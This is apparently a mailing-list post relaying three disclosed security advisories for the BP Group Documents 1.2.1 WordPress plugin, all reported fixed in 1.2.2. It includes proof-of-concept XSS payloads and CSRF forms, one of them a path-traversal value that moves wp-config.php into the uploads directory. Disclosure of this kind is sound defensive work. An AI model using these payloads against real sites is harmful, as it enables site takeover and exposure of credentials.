Details below. We intended to publish these earlier, but they slipped 
through the net. The most recent version is 1.5, and all these were 
reported fixed in 1.2.2.

First one:

https://security.dxw.com/advisories/stored-xss-vulnerability-in-bp-group-documents-1-2-1/
> Details
> ================
> Software: BP Group Documents
> Version: 1.2.1
> Homepage: http://wordpress.org/plugins/bp-group-documents/
> CVSS: 8 (High; AV:N/AC:L/Au:S/C:P/I:P/A:C)
>
>
> Description
> ================
> Stored XSS vulnerability in BP Group Documents 1.2.1
>
> Vulnerability
> ================
> “Display name” and “Description” fields are not escaped, meaning any 
> tags including script tags can be stored in them.
>
> Proof of concept
> ================
> Go to the upload form, select a document to upload, set the “Display 
> name” to “photograph of a cute puppy<script>alert(‘xss’)</script>” and 
> set the “Description” to “this is an innocuous 
> description<script>alert(‘xss again’)</script>”.
>
> Mitigations
> ================
> Update to version 1.2.2.
>
> Timeline
> ================
>
> 2013-09-26: Discovered
> 2013-09-30: Reported to plugins@wordpress.org
> 2013-10-04: Fix released (1.2.2)
>
>
> Discovered by:
> ================
> Tom Adams
>

Second one:
https://security.dxw.com/advisories/csrf-vulnerability-in-bp-group-documents-1-2-1/
> Details
> ================
> Software: BP Group Documents
> Version: 1.2.1
> Homepage: http://wordpress.org/plugins/bp-group-documents/
> CVSS: 5 (Medium; AV:N/AC:L/Au:N/C:N/I:P/A:N)
>
>
> Description
> ================
> CSRF vulnerability in BP Group Documents 1.2.1
>
> Vulnerability
> ================
> An unauthenticated user can cause a logged in user to edit the name 
> and description of any existing group document. The fields are also 
> vulnerable to XSS.
>
> Proof of concept
> ================
> Assume we have a group with slug “x” and a group document with id 8:
> <form method="POST" action="https://wp.ayumu/groups/x/documents/">
> <input type="text" name="bp_group_documents_operation" value="edit">
> <input type="text" name="bp_group_documents_id" value="8">
> <input type="text" name="bp_group_documents_name" 
> value="<script>alert(1)</script>">
> <input type="text" name="bp_group_documents_description" value="abc">
> <input type="submit">
> </form>
>
> Mitigations
> ================
> Update to version 1.2.2.
>
> Timeline
> ================
>
> 2013-09-26: Discovered
> 2013-09-30: Reported to plugins@wordpress.org
> 2013-10-04: Fix released (1.2.2)
>
>
> Discovered by:
> ================
> Tom Adams 

Third one:
https://security.dxw.com/advisories/moving-any-file-php-user-has-access-to-in-bp-group-documents-1-2-1/
> Details
> ================
> Software: BP Group Documents
> Version: 1.2.1
> Homepage: http://wordpress.org/plugins/bp-group-documents/
> CVSS: 9 (High; AV:N/AC:L/Au:N/C:P/I:P/A:C)
>
>
> Description
> ================
> Moving any file PHP user has access to in BP Group Documents 1.2.1
>
> Vulnerability
> ================
> An admin user (or anybody, since there is a CSRF vulnerability in this 
> form) can move any file the PHP user has access to to a location 
> inside the uploads directory. From the uploads directory, they are 
> likely to be able to read the file.
>
> Proof of concept
> ================
> As a logged in admin, visit a page containing this form and submit it 
> (or add auto-submission, and cause a logged in admin to visit it):
> <form method="POST" 
> action="http://localhost/wp-admin/options-general.php?page=bp-group-documents-settings">
> <input name="group" value="1">
> <input name="file" value="../../../../wp-config.php">
> <input type="submit">
> </form>
> This will cause the wp-config.php file to be moved to a location 
> within wp-content/uploads. In my case it was 
> wp-content/uploads/group-documents/1/1380203685-……..wp-config.php. In 
> this example I broke a WordPress installation, leaving the site wide 
> open to another person to come in and do the “famous five minute 
> install”. There may also be handy config files laying around that you 
> could read by moving them to the web root.
>
> Mitigations
> ================
> Update to version 1.2.2.
>
> Timeline
> ================
>
> 2013-09-26: Discovered
> 2013-09-30: Reported to plugins@wordpress.org
> 2013-10-04: Fix released (1.2.2)
>
>
> Discovered by:
> ================
> Tom Adams 

-- 
Harry Metcalfe
07790 559 876
@harrym